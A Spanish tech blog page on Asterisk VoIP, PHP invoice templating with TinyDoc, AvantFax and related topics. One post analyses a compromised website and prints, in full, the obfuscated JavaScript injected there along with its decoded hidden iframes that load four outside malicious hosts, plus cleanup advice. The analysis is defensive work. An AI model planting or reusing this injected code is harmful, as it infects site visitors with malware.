Hagamos que México crezca..

Prefiere el consumo de lo Hecho en México

Visitantes








Conversación

  • Phylevn: Si claro, hay un software israelí que es gratuito no recuerdo como se llama, solo tienes que compilar asterisk-addons para que también guarde en el CDR el ID de la llamada para asi despues relacionarla con la grabación.  
  • Cesar: Que ta amigo... sobre la pregunta de ligar una extencion a una troncal o hice con customcontext en freepbx.
    solo tengo una duda, hay algun plugin para freepbx para poder monitorear las llamadas grabadas como en elastix?
    gracias.. y saludos  
  • Sergio: Hola!!
    Oie al parecer hay errores en las entradas sobre la Facturacion Electronica del SAT, hace unos dias lei los Post y hoy YA NO PUEDO ENTRAR, me marca que la pagina no se encontro.
    Gracias  
  • Conmutador IP: @Max: Para que tu Tel IP haga y reciba llamadas necesitas configurarlo, si tu teléfono usa el protocolo SIP entonces necesitas configurar usuario, password, dominio o proxy, outbound proxy en algunos casos y puerto que el default es 5060, estos datos te los da el proveedor IP con los que contrates el servicio como puede ser Alestra en México, o callcentric.com en estados unidos por ejemplo  
  • Max: hola tengo una duda, tengo un telefono IP pero nose si se requiere alguna configuracion para que trabaje con el modem de infinitum, es decir que tengo q hacer para que pueda hacer y recibir llamadas con el.
    espero puedas ayudarme  
  • Phylevn: Si lo puedes hacer, busca lo que son los contextos en asterisk.  
  • Cesar: Que tal, si me funciono, solo que curiosamente con no-ip o ddns solo fuinciona cuando son isp diferentes, aquí en Nayarit, Telmex y Megacable, si lo hago solo con Megacable debo poner la ip de la der de Megacable, 10.163.x.x no tengo idea por que solo así funciono... Otra duda, en asterisk se puede hacer que por ejemplo la extensión 500 solo use la troncal 1 y todas las demás extensiones utilizen otra troncal? Esto sin teniendo el mismo plan de marcado en ambas troncales, es decir, poder hacer que una troncal y una extensión estén vinculadas para hacer llamadas.  
  • Angel Reyes: Hey Filein,
    Quiero conversar contigo sobre una oportunidad de negocio. ¿me pasas tu email?
    Saludos.  
  • Comutador IP: @Cesar: Si es posible, solo requieres poner el puerto SIP de tu Conmutador IP Asterisk en una IP Pública, puedes usar DynDNS para este caso junto con DDClient y ya solo el SPA lo apuntas a la IP Pública de tu conmutador IP Asterisk siguiendo los mismos pasos de configuración de siempre. Eso es todo.  
  • Cesar: Amigo, podrias ayudarme, quisiera utilizar un SPA 3102 de forma remota, este esta conectado directamente a internet, y en otra parte de la misma ciudad tengo el servidor asterisk donde quiero utilizar la linea, es posible?  

Escribe el código Captcha que estás viendo

Programacion

  • Monitoreando codigos DTMF en la consola de Asterisk

    Hace unos días un amigo me contactó ya que hace tiempo le instalé un conmutador de voz sobre IP con asterisk en su empresa, y me comentó que estaba teniendo problemas con tonos DTMF que entraban por un gateway GSM, esto había funcionado bastante bien desde hace 3 años que se le instaló el servidor, por lo que le comenté que activara en logger de Asterisk la visualizacion de los tonos DTMF que recibe Asterisk para poder ver que es lo que Asterisk recibía, ya que las llamadas entrantes al Gateway GSM(Telular) se enviaban a un IVR y ahí es dónde no detectaba los tonos.
    Para poder activar la visualización de los tonos DTMF en la consola solo basta editar el archivo
    sudo editor /etc/asterick/logger.conf
    Ahí solo basta agregar al apartado console la opción dtmf
    console => notice,warning,error,debug,dtmf
    Se reinicia Asterisk y solo basta entrar a la consola de Asterisk para ver que es lo que pasa cuándo un teléfono presiona los tonos dtmf.
    Monitoreando DTMF en la Consola de Asterisk

    Mostrando como podemos monitorear los DTMF y como se los podemos pasar a un AGI desarrollado con PHP en Asterisk VoIP

    Algo muy importante es que hay diferentes protocolos por así decirlo para el envío de tonos DTMF, en Voz sobre IP si se está usando un códec g711 alaw o ulaw entonces es recomendable usar el método INBAND, pero si no entonces se recomienda RFC2833 aunque ya es obsoleto ó INFO, ambos protocolos OUTBAND.
  • ¿ Como verificar si hay un proceso corriendo y si no ejecutarlo ?

    Hace unos días un amigo me envío un correo pidiéndome que le indicara como ejecutar un script que estuviera checando constantemente si un proceso esta ejecutándose y si no que el script lo ejecutara.
    Para esto le envíe el siguiente ejemplo y lo posteo por aquí por si alguien le fuera de utilidad..
    #ejecutamos este comando para crear un directorio#
    sudo mkdir /scripts
    #editamos el script#
    sudo editor /scripts/script.sh
    #***colocar lo siguiente dentro del script**#
    #/bin/bash
    if [[ ! `pidof -s nombre_del_proceso` ]]; then
         sudo /ruta_del_proceso/nombre_del_proceso
    fi
    #****Hasta aqui***#
    #ejecutar este comando para asignar permisos de ejecución
    chmod +x /scripts/script.sh
    #Por ejemplo que el script anterior lo guardáramos en /scripts/script.sh
    Para que este script se ejecute y verifique cada x tiempo si asterisk esta arriba hay que ponerlo en el archivo de /etc/crontab
    #ejecutar
    sudo editor /etc/crontab
    #agregar al final del archivo lo siguiente

    #     m     h     dom mon dow user  command
    1/10  *     *     *     *               root    /scripts/script.sh
    #***hasta aqui*******

    #lo anterior indica que el escript se ejecutará cada 10 minutos todas las horas y todos los días del mes, el usuario que lo ejecutará es root y el ecript está en /script/script.sh
    #despues guardar los cambios en /etc/crontab y luego reiniciar ejecutando
    sudo /etc/init.d/cron  restart
     
  • Generando reportes en PHP usando plantillas creadas con OpenOffice (WYSIWYG).

    Hace unos días desarrollando un sistema el cuál requiere generar facturas, estuve buscando una manera de poder hacerlo práctico, esto ya que la factura se mandaría a un formato preimpreso, por lo que la información debería coincidir con el formato, lo primero que me recomendaron es usar FPDF el cuál es una librería que funciona en PHP y que es relativamente fácil de usar, digo relativamente porqué hay que usar coordenadas para poder generar el documento lo que la vuelve algo complicada, más aun si se quiere dejar libertad al usuario que genere sus propios formatos.
    Imaginaba que se podía hacer algo con OpenOffice (OO), ya que usa ODF(Open Document Format) el cuál es un formato abierto en XML. Los archivos generados por OpenOffice vienen comprimidos en formato .zip, al descomprimirlos genera varios archivos, de los cuáles el principal es content.xml, el cuál contiene la información que hemos capturado en el archivo, esto aplica para archivos de Hojas de Calculo, Procesador de Textos o una presentación de OO.
    Despues de desmenuzar los archivos de OpenOffice se me ocurrieron varias mafufadas que no tiene caso comentar aquí, pero lo cuál me llevó a encontrar una Librería Abierta llamada TinyButStrong [http://www.tinybutstrong.com/] , la cuál tiene un plugin para OpenOffice llamada TinyDoc [http://tinydoc.unesolution.fr/] que permite rellenar una plantilla de OpenOffice fácilmente y en unas cuantas líneas, lo que nos ahorra mucho trabajo al generar reportes.
    El concepto es muy fácil, definir variables en nuestro documento que luego serían sustiuídas. Por ejemplo si en nuestro documento de OpenOffice pusiéramos en alguna parte:
    [factura.fecha]
    En TinyDoc tendríamos que tener un arreglo que contenga la llave fecha para que la sustituya en OpenOffice
    $_factura = array("fecha"=>"2009-01-01");
     
    De tal forma que ese arreglo lo asignamos al "parser" de plantillas de TinyDoc, algo como lo que se hace en los templates de smarty
    $doc->mergeXmlField('factura', $_factura);
     
    Si queremos listar información por ejemplo el detalle de una factura (productos) usaríamos el método
    $doc->mergeXmlBlock('detalle', $_detalle);
     
    En Open Office usaríamos [detalle;block=table:table-row] para indicar que es un bloque de datos, y luego poner en alguna parte del documento[detalle.cantidad][detalle.descripcion][detalle.preciounitario][detalle.importe] para que liste el contenido del arreglo de arreglos, dónde el arreglo de detalle sería un arreglo como la siguiente manera
          array(
            array(
              'cantidad'    => 2,
              'descripcion'    => 'Adaptador SPA3102',
              'preciounitario'   => 1450.00,
              'importe'  => 2900
            ),
            array(
              'cantidad'    => 3,
              'descripcion'    => 'Modulos FXO',
              'preciounitario'   => 1400.00,
              'importe'  => 4200.00
            ),
            array(
              'cantidad'    => 1,
              'descripcion'    => 'Router Inalambrico WRT54G ',
              'preciounitario'   => 650,
              'importe'  => 650
            ),
            array(
              'cantidad'    => 1,
              'descripcion'    => 'Tarificador Web Asterisk',
              'preciounitario'   => 2500,
              'importe'  => 2500
            ),
          )
     
    Y con esto se sustituiría la información en OpenOffice, respetando el estilo, posición, etc., por lo que tendríamos un reporteador WYSIWYG( Waht You See Is What You Get - Lo que ves es lo que obtienes).
    Por ejemplo aquí muestro como sería el archivo plantilla en OpenOffice usando la "sintaxis" de TinyButStrong, De Lado derecho vemos como quedaría el archivo de OpenOffice despues de que se parseo con TinyButStrong.




    (Click para ver la imagen más grande)
    Un código de ejemplo de como procesar archivos de Open Office con PHP y TinyButStrong sería:
    <?php
    //llamamos a las librerias de formateo de plantillas de Open Office
        include('lib/tinyButStrong.class.php');
        include('lib/tinyDoc.class.php');
    //Creamos un Objeto de la Clase
        $doc = new tinyDoc();
    //Indicamos que OpenOffice esta en formato .zip, en linux hay que verificar que tengamos instalado unzip: sudo apt-get install unzip
        $doc->setZipMethod('ziparchive');
    //Indicamos que el directorio temporal dónde descomprimira el archivo OD* de Open Office
        $doc->setProcessDir('./tmp');
    //Le indicamos el archivo de Open Office que creamos como plantilla
        $doc->createFrom('formato_factura.odp');
    //Indicamos el archivo que escribirá, OpenOffice guarda en content.xml la información capturada en el archivo
        $doc->loadXml('content.xml');
    //Funcion que formateara la plantilla de Open Office
        crea_factura($doc);
    //Indicamos que genere uan descarga del archivo para el usuario
        $doc->sendResponse();
    //Elimina toda la información que fué creada temporalmente
        $doc->remove();

    function crea_factura($doc)
        {
    //En el archivo plantilla de de openoffice tenemos [factura.fecha], [factura.subtotla], [factura.iva], [factura.total], [factura.totaltext]
    //Lo que hace la clase es cambiar la información por la que asinemos aquí, si vemos asignamos el arreglo a factura y el método usado es mergeXmlField
        $doc->mergeXmlField('factura',
          array(
            'id'         => '1',
            'fecha'       => date('Y-m-d'),
            'subtotal'      => 10250,
            'iva'        => 1537.5,
            'total'   => 10787.5,
            'totaltext'   => 'Diez Mil Setecientos Pesos Cincuenta Centavos',
          )
        );
    //Al igual que en factura a cliente le asignamos el arreglo de cliente que tiene las llaves que seran sustituidas en la plantilla
    //usamos el metodo mergeXmlField ya que es un arreglo unidimensional
        $doc->mergeXmlField('cliente',
          array(
            'id'         => '1001',
            'nombre'       => 'OaxRom SA de CV',
            'direccion'      => 'Encuentranos en http://www.oaxrom.com',
            'rfc' => 'OAX090101C45'
          )
        );
    //Este método es interesante, ya que nos permitirá mostrar listados en la plantilla
    //En la plantilla tenemos [detalle.cantida] [detalle.descripcion][detalle;block=table:table-row] [detalle.preciounitario] [detalle.importe]
    //Usando la funcion mergeXmlBlock, podremos listar información de un arreglo de arreglos en forma de listas, esto es práctico cuándo se intenta
    //mostrar informacion de productos en una factura por ejemplo, donde el numero de productos puede ser 1 o varios, esto lo que comunmente se llama detalle
        $doc->mergeXmlBlock('detalle',
          array(
            array(
              'cantidad'    => 2,
              'descripcion'    => 'Adaptador SPA3102',
              'preciounitario'   => 1450.00,
              'importe'  => 2900
            ),
            array(
              'cantidad'    => 3,
              'descripcion'    => 'Modulos FXO',
              'preciounitario'   => 1400.00,
              'importe'  => 4200.00
            ),
            array(
              'cantidad'    => 1,
              'descripcion'    => 'Router Inalambrico WRT54G ',
              'preciounitario'   => 650,
              'importe'  => 650
            ),
            array(
              'cantidad'    => 1,
              'descripcion'    => 'Tarificador Web Asterisk',
              'preciounitario'   => 2500,
              'importe'  => 2500
            ),
          )
        );
    //Ya que la clase asigna los valores, guarda la información
        $doc->saveXml();
                /*
                $doc->loadXml('styles.xml');
                $doc->mergeXmlField('header',
                  array(
                    'title' => 'made with tinyDoc and',
                    'img'   => 'images/samples/openoffice-by-benjamin-bois.png',
                  )
                );
                $doc->mergeXmlField('footer',
                  array(
                    'signature' => 'image credit : Benjamin Bois',
                  )
                );
                $doc->saveXml();
             */

    //cerramos el archivo
        $doc->close();
        }
    ?>
     
    He subido un proyecto de ejemplo a http://files.mexrom.net
    entra con login:invitado y password:invitado
    Entra a la carpeta TinyButStrong y descarga el archivo factura.zip
    Descomprime la carpeta en algún directorio de tú servidor web y desde tu navegador abre por ejemplo:
    http://localhost/factura/formato_factura.php
    Y esto debería generarte un archivo de OpenOffice como muestro en la parte derecha de la imagen de arriba.
    Con tinyDoc es fácil crear reportes en PHP y obteniendo datos de MySQL, solo es cuestión de crear la plantilla y listo.. face-smile.png
    Puedes obtener más información en :
    http://tinydoc.unesolution.fr/
  • La historia de un troyano.. Ataque de secuencia de comandos (XSS)

    Hace unos días un amigo que estudia la universidad me contacto por el msn, preguntándome porque Google le indicaba que un sitio "podría dañar su computadora", al igual que su antivirus le indicaba información de un troyano al intentar a la página web, le comenté que para que entraba a páginas pornos.. tongue.png , ja, pero me dijo que no que era un sitio de su profe de la escuela, por lo que me metí a checar que onda solo por curiosidad.
    El mencionado sitio es:
    http://www.estrategiasempresariales.com.mx/
    ( USUARIOS DE WINDOWS: CUIDADO !!! )
    Como uso Linux pude entrar sin mayor problema, pero vi en la parte de la barra de estado de firefox que intentaba conectarse a otros sitios, por lo que chequé el código y lo que encontré en el encabezado fue lo siguiente:
    <script type="text/javascript">
            var nfKIWAgpBTVTQUrZYMzN = "g60g105g102g114g97g109g101g32g119g105g100g116g104g61g34g52g56g48g34g32g104g101g105g103g104g116g61g34g54g48g34g32g115g114g99g61g
            34g104g116g116g112g58g47g47g98g101g115g116g45g109g101g100g45g115g104g111g112g46g99g111g109g47g105g110g46g99g103g105g63g51g38g112g97g114g97g109g101g116g
            101g114g61g98g101g115g116g45g109g101g100g45g115g104g111g112g34g32g115g116g121g108g101g61g34g98g111g114g100g101g114g58g48g112g120g59g32g112g111g115g105g
            116g105g111g110g58g114g101g108g97g116g105g118g101g59g32g116g111g112g58g48g112g120g59g32g108g101g102g116g58g45g53g48g48g112g120g59g32g111g112g97g99g105g
            116g121g58g48g59g32g102g105g108g116g101g114g58g112g114g111g103g105g100g58g68g88g73g109g97g103g101g84g114g97g110g115g102g111g114g109g46g77g105g99g114g111g
            115g111g102g116g46g65g108g112g104g97g40g111g112g97g99g105g116g121g61g48g41g59g32g45g109g111g122g45g111g112g97g99g105g116g121g58g48g34g62g60g47g105g102g
            114g97g109g101g62"
    ;
            var cHNCDgmFRKXFpiOMivBk = nfKIWAgpBTVTQUrZYMzN.split("g");
            var PXDfruFQHEdkMrnQXZVp = "";
            for ( var ktvacJmKFovULyADtFTA=1; ktvacJmKFovULyADtFTA<cHNCDgmFRKXFpiOMivBk.length; ktvacJmKFovULyADtFTA++){
                    PXDfruFQHEdkMrnQXZVp+=String.fromCharCode(cHNCDgmFRKXFpiOMivBk[ktvacJmKFovULyADtFTA]);
            }
            document.write(PXDfruFQHEdkMrnQXZVp)
    </script>
           
    <script type="text/javascript">
            var vIkytowORShQVZqTBFox = "sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU119sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48sLU34sLU32sLU104sLU101sLU105sLU
            103sLU104sLU116sLU61sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sLU34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sLU111sLU108sLU111sLU46sLU116sLU119sLU
            47sLU105sLU110sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU32sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU111sLU114sLU100sLU101sLU114sLU58sLU48sLU
            112sLU120sLU59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU118sLU101sLU59sLU32sLU116sLU111sLU112sLU
            58sLU48sLU112sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU
            48sLU59sLU32sLU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU114sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU109sLU97sLU103sLU101sLU84sLU114sLU
            97sLU110sLU115sLU102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sLU111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112sLU104sLU97sLU40sLU111sLU112sLU
            97sLU99sLU105sLU116sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sLU122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU34sLU62sLU60sLU
            47sLU105sLU102sLU114sLU97sLU109sLU101sLU62"
    ;
            var QWUvRMtrivbeEMdxAZLS = vIkytowORShQVZqTBFox.split("sLU");
            var rsiNSZhTeWRvtmrKykBh = "";
            for ( var gdLkpohqOtIGmrTFQBZv=1; gdLkpohqOtIGmrTFQBZv<QWUvRMtrivbeEMdxAZLS.length; gdLkpohqOtIGmrTFQBZv++){
                    rsiNSZhTeWRvtmrKykBh+=String.fromCharCode(QWUvRMtrivbeEMdxAZLS[gdLkpohqOtIGmrTFQBZv]);
            }
            document.write(rsiNSZhTeWRvtmrKykBh)
    </script>
                           
    <script type="text/javascript">
            var hdOruVsHnKBXZuvtsRmw = "z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116z61z34z54z48z34z32z115z114z99z61z34z104z116z
            116z112z58z47z47z114z110z119z46z107z122z47z105z110z100z101z120z46z112z104z112z34z32z115z116z121z108z101z61z34z98z111z114z100z101z114z58z48z112z120z59z32z112z111z
            115z105z116z105z111z110z58z114z101z108z97z116z105z118z101z59z32z116z111z112z58z48z112z120z59z32z108z101z102z116z58z45z53z48z48z112z120z59z32z111z112z97z99z105z
            116z121z58z48z59z32z102z105z108z116z101z114z58z112z114z111z103z105z100z58z68z88z73z109z97z103z101z84z114z97z110z115z102z111z114z109z46z77z105z99z114z111z115z
            111z102z116z46z65z108z112z104z97z40z111z112z97z99z105z116z121z61z48z41z59z32z45z109z111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z
            109z101z62"
    ;
            var kWiFaYwHrXtZBIQvdJDR = hdOruVsHnKBXZuvtsRmw.split("z");
            var TEptzkmsBZolwWqWunem = "";
            for ( var KYLMhcILlLcFQRyPBlHD=1; KYLMhcILlLcFQRyPBlHD<kWiFaYwHrXtZBIQvdJDR.length; KYLMhcILlLcFQRyPBlHD++){
                    TEptzkmsBZolwWqWunem+=String.fromCharCode(kWiFaYwHrXtZBIQvdJDR[KYLMhcILlLcFQRyPBlHD]);
            }
            document.write(TEptzkmsBZolwWqWunem)
    </script>
    <script type="text/javascript">
            var eMCeGjolMPJFNuucZWLk = "jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc
            115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc
            112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc
            118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc
            108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc
            116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc
            102jc114jc97jc109jc101jc62"
    ;
            var varLlMnCAppeCrJJayvn = eMCeGjolMPJFNuucZWLk.split("jc");
            var OEtbynEYKPJgqArbMfdN = "";
            for ( var VTsXKBglzcYNgRpfFtDP=1; VTsXKBglzcYNgRpfFtDP< varLlMnCAppeCrJJayvn.length; VTsXKBglzcYNgRpfFtDP++){
                    OEtbynEYKPJgqArbMfdN+=String.fromCharCode( varLlMnCAppeCrJJayvn[VTsXKBglzcYNgRpfFtDP]);
            }
            document.write(OEtbynEYKPJgqArbMfdN)
    </script>
     
    Obvio el código javascript está ofuscado, lo que indica que tanto variables como constantes tienen nombres raros y son sustituidas por su valor ascii para luego ser reinterpretadas y ejecutadas.
    Ya limpiando el código se vería algo asi:
    <textarea name=infoarea id=infoarea cols=150 rows=50></textarea>
    <script type="text/javascript">
            var var1 =  "g60g105g102g114g97g109g101g32g119g105g100g116g104g61g34g52g56g48g34g32g104g101g105g103g104g116g61g34g54g48g34g32g115g114g99g61g
            34g104g116g116g112g58g47g47g98g101g115g116g45g109g101g100g45g115g104g111g112g46g99g111g109g47g105g110g46g99g103g105g63g51g38g112g97g114g97g109g101g116g
            101g114g61g98g101g115g116g45g109g101g100g45g115g104g111g112g34g32g115g116g121g108g101g61g34g98g111g114g100g101g114g58g48g112g120g59g32g112g111g115g105g
            116g105g111g110g58g114g101g108g97g116g105g118g101g59g32g116g111g112g58g48g112g120g59g32g108g101g102g116g58g45g53g48g48g112g120g59g32g111g112g97g99g105g
            116g121g58g48g59g32g102g105g108g116g101g114g58g112g114g111g103g105g100g58g68g88g73g109g97g103g101g84g114g97g110g115g102g111g114g109g46g77g105g99g114g111g
            115g111g102g116g46g65g108g112g104g97g40g111g112g97g99g105g116g121g61g48g41g59g32g45g109g111g122g45g111g112g97g99g105g116g121g58g48g34g62g60g47g105g102g
            114g97g109g101g62"
    ;
            var var2= var1.split("g");
            var var3 = "";
            for (var var4=1; var4<var2.length; var4++){
                    var3+=String.fromCharCode(var2[var4]);
            }
            document.write(var3);
    </script>
    <script type="text/javascript">
            var var6= "sLU60sLU105sLU102sLU114sLU97sLU109sLU101sLU32sLU119sLU105sLU100sLU116sLU104sLU61sLU34sLU52sLU56sLU48sLU34sLU32sLU104sLU101sLU105sLU
            103sLU104sLU116sLU61sLU34sLU54sLU48sLU34sLU32sLU115sLU114sLU99sLU61sLU34sLU104sLU116sLU116sLU112sLU58sLU47sLU47sLU109sLU111sLU108sLU111sLU46sLU116sLU119sLU
            47sLU105sLU110sLU100sLU101sLU120sLU46sLU112sLU104sLU112sLU34sLU32sLU115sLU116sLU121sLU108sLU101sLU61sLU34sLU98sLU111sLU114sLU100sLU101sLU114sLU58sLU48sLU
            112sLU120sLU59sLU32sLU112sLU111sLU115sLU105sLU116sLU105sLU111sLU110sLU58sLU114sLU101sLU108sLU97sLU116sLU105sLU118sLU101sLU59sLU32sLU116sLU111sLU112sLU
            58sLU48sLU112sLU120sLU59sLU32sLU108sLU101sLU102sLU116sLU58sLU45sLU53sLU48sLU48sLU112sLU120sLU59sLU32sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU
            48sLU59sLU32sLU102sLU105sLU108sLU116sLU101sLU114sLU58sLU112sLU114sLU111sLU103sLU105sLU100sLU58sLU68sLU88sLU73sLU109sLU97sLU103sLU101sLU84sLU114sLU
            97sLU110sLU115sLU102sLU111sLU114sLU109sLU46sLU77sLU105sLU99sLU114sLU111sLU115sLU111sLU102sLU116sLU46sLU65sLU108sLU112sLU104sLU97sLU40sLU111sLU112sLU
            97sLU99sLU105sLU116sLU121sLU61sLU48sLU41sLU59sLU32sLU45sLU109sLU111sLU122sLU45sLU111sLU112sLU97sLU99sLU105sLU116sLU121sLU58sLU48sLU34sLU62sLU60sLU
            47sLU105sLU102sLU114sLU97sLU109sLU101sLU62"
    ;
            var var7 = var6.split("sLU");
            var var9 = "";
            for (var var10=1; var10<var7.length; var10++){
                    var9+=String.fromCharCode(var7[var10]);
            }
            document.write(var9)
            </script>
           
    <script type="text/javascript">
            var var11 = "z60z105z102z114z97z109z101z32z119z105z100z116z104z61z34z52z56z48z34z32z104z101z105z103z104z116z61z34z54z48z34z32z115z114z99z61z34z104z116z
            116z112z58z47z47z114z110z119z46z107z122z47z105z110z100z101z120z46z112z104z112z34z32z115z116z121z108z101z61z34z98z111z114z100z101z114z58z48z112z120z59z32z112z111z
            115z105z116z105z111z110z58z114z101z108z97z116z105z118z101z59z32z116z111z112z58z48z112z120z59z32z108z101z102z116z58z45z53z48z48z112z120z59z32z111z112z97z99z105z
            116z121z58z48z59z32z102z105z108z116z101z114z58z112z114z111z103z105z100z58z68z88z73z109z97z103z101z84z114z97z110z115z102z111z114z109z46z77z105z99z114z111z115z
            111z102z116z46z65z108z112z104z97z40z111z112z97z99z105z116z121z61z48z41z59z32z45z109z111z122z45z111z112z97z99z105z116z121z58z48z34z62z60z47z105z102z114z97z
            109z101z62"
    ;
            var var12 = var11.split("z");
            var var13 = "";
            for (var var14=1; var14<var12.length; var14++){
                    var13+=String.fromCharCode(var12[var14]);
            }
            document.write(var13)
            </script>
    <script type="text/javascript">
            var var15 = "jc60jc105jc102jc114jc97jc109jc101jc32jc119jc105jc100jc116jc104jc61jc34jc52jc56jc48jc34jc32jc104jc101jc105jc103jc104jc116jc61jc34jc54jc48jc34jc32jc
            115jc114jc99jc61jc34jc104jc116jc116jc112jc58jc47jc47jc121jc111jc117jc45jc102jc111jc117jc110jc100jc45jc105jc116jc46jc111jc114jc103jc47jc105jc110jc100jc101jc120jc46jc112jc104jc
            112jc34jc32jc115jc116jc121jc108jc101jc61jc34jc98jc111jc114jc100jc101jc114jc58jc48jc112jc120jc59jc32jc112jc111jc115jc105jc116jc105jc111jc110jc58jc114jc101jc108jc97jc116jc105jc
            118jc101jc59jc32jc116jc111jc112jc58jc48jc112jc120jc59jc32jc108jc101jc102jc116jc58jc45jc53jc48jc48jc112jc120jc59jc32jc111jc112jc97jc99jc105jc116jc121jc58jc48jc59jc32jc102jc105jc
            108jc116jc101jc114jc58jc112jc114jc111jc103jc105jc100jc58jc68jc88jc73jc109jc97jc103jc101jc84jc114jc97jc110jc115jc102jc111jc114jc109jc46jc77jc105jc99jc114jc111jc115jc111jc102jc
            116jc46jc65jc108jc112jc104jc97jc40jc111jc112jc97jc99jc105jc116jc121jc61jc48jc41jc59jc32jc45jc109jc111jc122jc45jc111jc112jc97jc99jc105jc116jc121jc58jc48jc34jc62jc60jc47jc105jc
            102jc114jc97jc109jc101jc62"
    ;
            var var16 = var15.split("jc");
            var var17 = "";
            for (var var18=1; var18<var16.length; var18++){
                    var17+=String.fromCharCode(var16[var18]);
            }
            document.write(var17)
    </script>
     
    Como podemos ver en en cada código javascript se crea un "string" que contiene información ofuscada, la cuál son números que son el valor ascii de algun caracter, entre cada número y número hay letras los cuales sirven para poder cortar la cadena y generar un arreglo que contendrá cada uno de los valores ascii usando la función split, para luego recorrer el arreglo y convertir el número a su valor ascii, concatenarlo y asi formar nuevamente otra cadena que al final es codigo html que se ejecuta usando la sentencia javascript document.write(codigo).
    El código html que oculta, regenera y ejecuta el código malicioso es el siguiente
    Script 1
    <iframe width="480" height="60" src="http://best-med-shop.com/in.cgi?3&parameter=best-med-shop" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
     
    Script 2
    <iframe width="480" height="60" src="http://molo.tw/index.php" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
     
    Script 3
    <iframe width="480" height="60" src="http://rnw.kz/index.php" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
     
    Script 4
    <iframe width="480" height="60" src="http://you-found-it.org/index.php" style="border:0px; position:relative; top:0px; left:-500px; opacity:0; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0); -moz-opacity:0"></iframe>
     
    Cada código html genera un iframe, el cuál es invisible al visitante de la página web, pero que conecta a otros servidores web, de los cuáles se pueden descargar virus, troyanos, más código malicioso, etc.
    ¿ Cómo resolverlo ?
    Lo ideal es borrar los archivos infectados
    Si se usa linux solo bastaría ejecutar el siguiente comando para detectar que archivos están infectados:
    find /ruta/del/diretorio/web -type f | xargs grep ALGUNA_DE_LASVARIABLES_QUE_USEN_EN_EL_CODIGO_MALICIOSO
    Esto obtendría la lista de archivos infectados.
    Solo bastaría borrarlos, subir los originales y luego cambiar los permisos del directorio de preferencia ponerlos en 755, asi como los permisos del propietario del directorio.
    Otras consideraciones de seguridad serían :
    *No usar conexiones de transferencia de archivos insegura como FTP.
    *No conectarse al servidor desde computadoras públicas.
  • AvantFax una interesante aplicación web para administración de Fax Virtuales

    AvantFax es una excelente herramienta que se puede integrar alrededor de Asterisk, su función es administrar los Fax entrantes y Salientes, para esto es requerido tener instalado Hylafax y IAXModem, Hylafax es un completo y profesional sistema para envío y recepción de fax a traves de módems, IAXmodem permite crear un modem virtual que sirve de enlace entre Hylafax y Asterisk, de tal forma que con IAXModem es posible enviar y recibir Fax con Hylafax usando los canales de comunicación de Asterisk.
    Esta es una excelente herramienta ya que a traves de un cliente de Hylafax se pueden enviar fax directamente desde cualquier archivo de word, excel, etc., esto ya que se manda a una impresora virtual la cuál es un cliente de hylafax.
    También es posible enviar faxes desde una página web solo basta entrar a la página web subir el documento especificar el número y prácticamente desde cualquier lugar de internet se están enviando faxes.
    Un tutorial de como puede instalarse AvantFax se encuentra en la siguiente url:
    http://www.ecualug.org/?q=2008/05/28/comos/instalar_avantfax_310
  • ¿ Qué es el WordSpotting ?

    Es una manera de definir el proceso de buscar palabras o textos dentro de una conversación, de tal forma que es posible encontrar la palabra "amenaza de bomba" en una llamada que hicieran a la policía, de tal forma que se pudiera mandar una alerta a un monitor, sistema ó extensión.
    Se puede decir que es como un OCR, pero solo que en vez de buscar textos y palabras dentro de una imagen, es buscar textos y palabras dentro de un streaming de audio que puede ser una conversación telefónica o un mensaje pregrabado.
